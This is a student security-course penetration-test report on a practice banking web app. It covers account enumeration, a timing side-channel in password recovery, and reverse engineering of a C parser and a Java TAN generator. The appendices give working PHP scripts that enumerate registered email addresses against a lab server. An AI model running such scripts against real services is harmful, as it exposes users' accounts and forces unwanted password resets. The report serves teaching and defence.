Secure Coding - Team 7- Phase 4

Magnus Jahnen, Thomas Krex, Elias Tatros

January 10, 2015

Part I

Executive Summary

TODO

Contents

Part II

Time Tracking Table

Chapter 1

Time Tracking Table

Time Tracking		
Name	**Time**	**Description**
Magnus Jahnen	3h	Testing the web application, getting familiar with tools
	8h	Shell Injection
	1h	Reflected XSS attack (GET parameter: flash)
	4h	Trying SQL injection at Login screen
	4h	Documentation (Report) + Presentation
	4h	Meetings
Thomas Krex	5h	Self introduction into test environment and target application
	5h	SQL-Injection with sqlmap
	5h	Persistent XSS (including Session Hijacking)
	4h	Meetings
	4h	Documentation
Elias Tatros	2h	Setup & familiarization with test environment
	2h	Analyzing the web application (e.g. ZAP Spidering)
	3h	Hand Crafted SQL-Injection (4.2)
	3h	SQL-Injection via sqlmap (4.2)
	4h	Reflected XSS attack (3.1)
	4h	Documentation (Summary, 4.2, 3.1)
	4h	Meetings

Part III

Most Important Observations

Chapter 2

Most Important Observations

Most Important Vulnerabilities				
Name	**Impact**	**Likelihood**	**Risk**	**Chapter**
Persistent XSS	medium - high	high	high	a
SQL Injection	high	medium - high	high	a
Shell Injection	high	medium - high	high	a

Part IV

Vulnerabilities

Chapter 3

Testing for Account Enumeration and Guessable User Account (OTG-IDENT-004)

3.0.1 Observation

Existing User accounts can be guessed via bruteforce attacks. There are tow ways to do it. One way is to use the blocking mechanism, which sends a message to the user after 3 unsuccessful attempts. Therefore the attacker is able to find valid user accounts. A second and even easier way is to use the password recovery function. There you get immediately an negative feedback if you are inserting a non existing account email address and a positive feedback for an existing one.

Likelihood: high

Impact: low

Risk: medium

3.0.2 Discovery

This vulnerability was found in login.php, where a blocking mechanism is implemented, shown in Listing 3.1. Each user has a field for unsuccessful login attempts. If this number is greater equal a predefined threshold, the browser receives a JSON file containing a message which is displayed via javascript.

Listing 3.1: Blocking Mechanism in login.php line 54-59

```
// Check if user is blocked
if( $user->getBlocked() >= USER_MAX_LOGIN_FAILED ) {
$parser->setStatusCode( STATUS_CODE_ERROR )
->setStatusMessage( ERROR_ACCOUNT_BLOCKED )
->parse();
}
```

For the Password Recovery functionality, the corresponding code is placed in ForgotPassword.php, shown in Listing 3.2 . Before a new password for the user is generated, the entered email address is validated. If a account with the email address is not existing, a JSON file is sent to the browser and its message is displayed via javascript. Else a new password is generated and sent via mail. A JSON File with a confirmation message is sent to the browser as well. Due to the fact, that the webservice is a REST-Service, you can automate this guessing process by sending a POST request to ¡ip¿/rest/index.php with the name of he service, in our case "forgotPassword" and the email address as arguments. This is done by a script(Chapter C.1), which a text file with email addresses and returns the ones that are valid. The only disadvantage of this approach, is the fact, that the user are receiving emails with new passwords. That could alarm some of them, but nonetheless, some will not notice it.

Listing 3.2: Validating Email before generating new Passowrd line 54-59

```
$hash = new Hash();
$user = new User();

$user = $user->findByEmail($emailAddress);

if( !$user->getId() ) {
$parser->setStatusCode( STATUS_CODE_ERROR )
->setStatusMessage( "Email address not found." )
->parse();
}

$newPassword = $hash->createRandomString( 15 );
$saltedPassword = $hash->saltPassword($newPassword, $user->getSalt());

$user->setPassword($saltedPassword)->save();

Mail::sendNewPassword($user, $newPassword);

/*************************
* 3. Parse Response
*************************/

$parser->setStatusCode( STATUS_CODE_SUCCESS )
->setStatusMessage( "New password set" )
->parse();
```

3.0.3 Likelihood

It's very likely that attackers will use this vulnerability to guess some user accounts, since they receive a graphical feedback if the account exists.

3.0.4 Implication

This vulnerability leads to a disclosure of user accounts. The impact of that depends on the actions which are possible with a valid user account. In our case there are no possible attacks without knowing the password for this account.

3.0.5 Recommendations

For the login screen you could send an email to the user with a notification, that the account is blocked, to avoid this leakage of information. For the Password Recovery, you simply don't notify the user if an account if the email exists.

3.0.6 Comparison with our App

Since there's no blocking mechanism for unsuccessful login attempts in our app, there also is no leakage of information. Therefore it's not possible to guess valid user accounts. When recovering the password, no information about non-existing/ existing accounts is leaking.

Chapter 4

Test for Process Timing (OTG-BUSLOGIC-004)

4.0.7 Observation

We observed that the process time of the password recovery service is leaking information about existing accounts. If the user enters an email address of an existing account, an email with a new password is sent and therefore the processing time increases significantly.

Likelihood: medium

Impact: low

Risk: medium

4.0.8 Discovery

This vulnerability was found when testing the password recovery function, reachable at the login screen via the link " Forgot Password?". After we noticed the time difference between entering a valid email address and a invalid one, we calculated the average response time of an valid and an invalid email address with a PHP Script (Appendix A.1), which sends 100 POST requests with each a valid and an invalid email address to the corresponding REST Service and records the response times. The results are shown in Listing 4.1.

Listing 4.1: Results of Testing Respone Time of Password Receovery

```
-bash-3.2$ php password_recovery_test_response_time.php
Average Response Time for valid address: 2.84551978
Average Response Time for invalid address: 0.06285205
```

Due to the significant difference, we wrote another script (Appendix B) which take a list of email addresses and returns the valid ones by comparing the response time with a threshold, which can be provided by the user as well. We chose two seconds for the threshold, because of the results shown above. All Tests resulted in a 100% success rate. Of course this can differ under certain circumstances(e.g. heavy traffic load).

4.0.9 Likelihood

It's very likely that attackers will use this vulnerability to guess some user accounts, since the difference in response times is significant. Furthermore an attacker could try 1000 invalid email addresses in round about one minute.

4.0.10 Implication

This vulnerability leads to a disclosure of user accounts. The impact of that depends on the actions which are possible with a valid user account. In our case there are no possible attacks without knowing the password for this account.

4.0.11 Recommendations

To Avoid this kind of information leakage you there a few solution. First you could implement a time-out for the case that the user entered a invalid address, so that the process times equal. Second you could send a response without waiting the email to be sent. That could result in a worse user experience because he/she doesn't get a feedback. But in would solve the problem of information leakage.

4.0.12 Comparison with our App

Since our webapp is not based on a rest service, it's not that easy to test the response times in a automated way like described above. But you can measure the response times manually, e.g. with the Safari developer tools. Therefore you can see that there's only a processing time difference about three seconds. Therefore our app has the same vulnerability.

Part V

Reverse Engineering

Chapter 5

C-Program

5.1 Observation

The C-Parser to parse batch files is pretty simple. It takes a simple structured text file, parses the information in this file and puts out these information on the standard output in JSON format. That means the C-Parser does not have to do any complex tasks, like validating the given input or entering these information into the database. It just converts the input into another format (JSON).

5.1.1 Batch File Format

Listing 5.1 shows an example of an batch file the parser gets as input. The first line has to contain the 15-digit TAN, if there is any TAN. The following lines contain two infomation split by an space. The first information is the amount, the second the number of the receiving account. All other lines which do not conform to the format described above will be ignored and not part of the JSON output.

Listing 5.1: Input Batch File

```
123456789012345 // optional TAN
123 123123123
123123 123
123123 123123
```

5.1.2 JSON Output

Listing 5.2 shows the JSON output of the parser according to Listing 5.1. The first line shows the output if a TAN is included, the second without a TAN. The JSON is pretty simple, on the first level there is a TAN which can be an empty string or the TAN, if any. There *transaction* key delivers a list of dictionaries, which are the second level. In these dictionaries are always two entries. The

account number of the receiving account and the amount to transfer. The actual parsing, validation and adding the information to the database is then done by the PHP program.

Listing 5.2: JSON Output

```
{"tan": "123456789012345", "transactions": [{"account": "123", "amount":
    "123123123"}, {"account": "123123", "amount": "123"}, {"account":
    "123123", "amount": "123123"}]}
{"tan": "", "transactions": [{"account": "123", "amount": "123123123"},
    {"account": "123123", "amount": "123"}, {"account": "123123",
    "amount": "123123"}]}
```

5.2 Discovery

To reverse engineer the code of the parser we used different versions of IDA (Pro) for Linux and Windows (Wine). First steps we performed were debugging the parser in IDA in order to gain an overall knowledge about how the program flow is, i.e. how does it react to invalid files or input. Next we tried to evaluate how the program flows within valid files. That means we wanted to understand conditions and loops.

After that we tried to write some C Code to imitate the parser. Therefore we began writing simple code for opening and reading the file, then we compiled it and disassembled it with IDA and compared the original disassembly of the actual parser and our clone. As soon as we were satisfied with the result, we continued with the other parts of the parser.

During this process we recognized that the original parser was compiled with the *gcc* option *fstack-protector(-all)*. This activates protection of the stack against stack smashing with the help of canary values. This makes it more difficult for an attacker to exploit buffer overflows.

5.3 Analysis of the Reverse Engineered Code

Listing 5.3 shows the code we reverse engineered from the parser executable file. The program is pretty straight forward. It first checks if the file to parse is valid and can be accessed via the program. After that it begins reading from the file via the class *ifstream* from the standard C++ library. If the first line contains 15 and no space elements the parser knows that it is TAN. Otherwise it parses the account number and the amount from that line. Further lines will be treat as if they contain account number and amount.

Listing 5.3: Reverse Engineered C-Code of the parser

```
#include <iostream>
#include <fstream>
```

```
#include <unistd.h>
#include <string.h>

using namespace std;

int main(int argc, char **argv) {

        if(access(argv[1], R_OK)) {
                cout << "{}";
                return 0;
        }

        ifstream file;
        file.open(argv[1]);

        if(!file.good()) {
                cout << "{}";
                return 0;
        }

        char buffer[0x1A];
        char dest[0x1A];
        bool tanAlreadyRead = false;
        bool appendToList = false;

        cout << "{";

        while(!file.eof()) {

                if(!tanAlreadyRead) {
                        strcpy(dest, buffer);
                        file.getline(buffer, 0x1A);
                        char *token = strtok(buffer, " ");

                        if(file.fail() || !token) {
                                cout << "}";
                                return 0;
                        }

                        string tokenstr = string(token);
                        if(tokenstr.length() == 15) {
                                cout << "\"tan\": \"";
                                cout << token;
                                cout << "\", \"transactions\": [";
                                tanAlreadyRead = true;
                        } else {
                                cout << "\"tan\": \"\", \"transactions\":
                                    [";

                                char *acc = strtok(dest, " ");
```

```
                        if(acc) {
                                char *amount = strtok(NULL, " ");

                                if(amount) {
                                        cout << "{\"account\": \"";
                                        cout << acc;
                                        cout << "\", \"amount\": \"";
                                        cout << amount;
                                        cout << "\"}";
                                        appendToList = true;
                                }
                        }
                        tanAlreadyRead = true;
                }
        } else {
                if(file.fail())
                        break;

                file.getline(buffer, 0x1A);

                char *acc = strtok(buffer, " ");

                if(acc) {
                        char *amount = strtok(NULL, " ");

                        if(amount) {
                                if(!appendToList) {
                                        cout << "{\"account\": \"";
                                        cout << acc;
                                        cout << "\", \"amount\": \"";
                                        cout << amount;
                                        cout << "\"}";
                                        appendToList = true;
                                } else {
                                        cout << ", {\"account\": \"";
                                        cout << acc;
                                        cout << "\", \"amount\": \"";
                                        cout << amount;
                                        cout << "\"}";
                                }
                        }
                }
        }
}

cout << "]";
cout << "}";

return 0;
```

```
}
```

Regarding buffer overflows the statements which contain the *getline* and *strcpy* directives (stack overflow) are interesting. Heap overflows are not possible, because all memory is allocated on the stack and not the heap (no *new* or *malloc*).

getline

The *getline* method of the *ifstream* class takes a buffer and a size as arguments. The buffer will have a terminating null character at its end regardless if the line read has to be truncated or not. That means the buffer is always null terminated. The *getline* method will only read as much bytes as the *size* argument suggest to avoid buffer overflows. That means stack overflows are not possible here.

strcpy

Normally *strcpy* would allow stack overflows, because it only looks at the null terminator for a string ending, not on the actual buffer size of the destination buffer. But in this case the terminating null character will always be at a place where it does not exceed the destination buffer size, because of the *getline* call before. The *getline* only reads as much bytes as fit in the buffer and then adds a terminating null character at the end. That means the *strcpy* call will always stop at the null terminator which will not be misplaced or missing! Same applies to the *strtok* function, which always stops at the null termination.

5.4 Conclusion

The C-Parser is, reading security vulnerabilities, pretty robust. Not only because it was kept clean, small and simple, but also because obvious precautions have been implemented. The *gcc* option , for example, protects the stack from being overflowed. A further precaution is the check against the actual size of a buffer, to avoid stack overflows.

All in all we have no recommendations to make the C-Parser harder to exploit.

Chapter 6

Java-Program

6.1 Observation

The Java-SCS program is responsible for generating TAN codes when the user chose the SCS TAN method when registering. Besides the Java application the user needs a SmartCard File which can be opened in the Java application. This file can be downloaded separately from the NEXT9Bank Website.

After starting the SmartCardSimulator, the user can open his personal SmartCard file. To do that, he has to enter his PIN. The SmartCard file is protected (AES-128 encrypted) and can only be read properly if the correct PIN was entered. Unfortunately the SCS does not recognize if the PIN was correct or not. It just generates TANs with a wrong PIN, and the NEXT9Bank Website then tells you if the TAN was correct or not. Another problem is that the SmartCard file is updated/changed whenever a TAN was generated. Thus, if entering a wrong PIN, the SmartCard file is corrupted, and cannot be used for further generation of TANs. The user has to download the SmartCard file again from the Website.

After opening a valid SmartCard file, the user can create TANs fro single transactions or batch file transactions. For single transactions he has to enter the account numbers of the sender and receiver account and an amount. Fir batch transactions he has to choose a batch file and to enter the sender's account number. Batch files are not validated by the SCS, the user can choose a random file and gets TANs generated for it.

6.2 Discovery

The Java-SCS can be easily decompiled using *jd-gui* can the *eclipse* plugin of *jd*. The resulting code looks pretty good, variable names are still the original ones, the strcuture of packages and classes has been kept and the code is easily understandable who has experience in Java development.

The UI is based on *JavaFX* and the *Google Core Libraries for Java 1.6+* (guava-libraries)[1] are also included as well as *controlsfx*. For building maven was used.

[1] `https://code.google.com/p/guava-libraries/`

Appendix

Appendix A

PHP Scripts for Exploiting Vulnerability OTG-BUSLOGIC-004

A.1 PHP Script for Calculating the response time average of the password recovery service for valid an invalid response email addresses

The script uses the function "curl" to send a POST-Request to the Rest-Service "ForgotPassword". The two parameters of this POST Request are the name of the service and the email address for which an new password should be set. With "$responseTime = curl_getinfo$(curl,CURLINFO_TOTAL_TIME" we can get the response time for this request. This request are sent 100 times for each a valid and an invalid email address. For each an average is computed an shown in the bash.

```
<?php

$validResponseTime = 0.0;
$invalidResponseTime = 0.0;
for ($i = 1; $i <= 100; $i++) {
$validResponseTime += responseTimeForRequest("employee@next9.com");
}
$validAverage = $validResponseTime/100;
echo "Average Response Time for valid address: ".$validAverage."\n";

for ($i = 1; $i <= 100; $i++) {
$invalidResponseTime += responseTimeForRequest("abc@next9.com");
```

```
}
$invalidAverage = $invalidResponseTime/100;
echo "Average Response Time for invalid address: ".$invalidAverage."\n";

function responseTimeForRequest($email) {
$service_url = 'https://192.168.56.101/rest/index';
$curl = curl_init($service_url);
$curl_post_data = array(
'service' => "forgotPassword",
'email' => $email );

curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_data);
$curl_response = curl_exec($curl);
return $responseTime = curl_getinfo($curl,CURLINFO_TOTAL_TIME);
}

?>
```

Appendix B

PHP Script for validating email address via response time

This script decides due to the response time of the an request if an email address is belonging to an existing account or not. The response is received like mentioned in the Script above. If the response is bigger than the threshold, it will be handled as valid and printed to the shell.

```
<?php

if(!$argv[1])
die("Please provide list of email adresses");
$emailList = file($argv[1], FILE_IGNORE_NEW_LINES);

if(!$argv[2])
die("Please provide threshold");

$threshold = floatval($argv[2]);

echo "Valid Accounts:\n";
foreach($emailList as $email)
if (validateEmail($email,$threshold))
echo $email."\n";

function validateEmail($email,$threshold) {
$service_url = 'https://192.168.56.101/rest/index';
$curl = curl_init($service_url);
$curl_post_data = array(
'service' => "forgotPassword",
'email' => $email );
```

```
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_data);
$curl_response = curl_exec($curl);
$responseTime = curl_getinfo($curl,CURLINFO_TOTAL_TIME);

if($responseTime > $threshold)
return true;
else
return false;
}

?>
```

Appendix C

PHP Scripts for exploiting Vulnerability OTG-IDENT-004

C.1 PHP Script for validating email address via response of REST Service

This Script takes a list of email addresses and prints all of them which are already registered in the system to the shell. To do so it sends a POST Request like the scripts above to the REST Service "forgotPassword". After that it parsed the response, represented by a JSON File. If the field status of this field equals 1, the app generated a new password and sent it via email to the provided address. Else the provided email denied.

```
<?php

if(!$argv[1])
die("Please provide list of email adresses");
$emailList = file($argv[1], FILE_IGNORE_NEW_LINES);

echo "Valid Accounts:\n";
foreach($emailList as $email)
if (validateEmail($email))
echo $email."\n";

function validateEmail($email) {
$service_url = 'https://192.168.56.101/rest/index';
$curl = curl_init($service_url);
$curl_post_data = array(
'service' => "forgotPassword",
'email' => $email );
```

```
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, $curl_post_data);
$curl_response = curl_exec($curl);
if ($curl_response === false) {
$info = curl_getinfo($curl);
curl_close($curl);
die('error occured during curl exec. Additioanl info: ' .
    var_export($info));
}
curl_close($curl);
$decoded = json_decode($curl_response,true);
if ($decoded['status']['code'] == 1) {
//die('error occured: ' . $decoded->response->errormessage);
return true;
}
else {
return false;
}
}

?>
```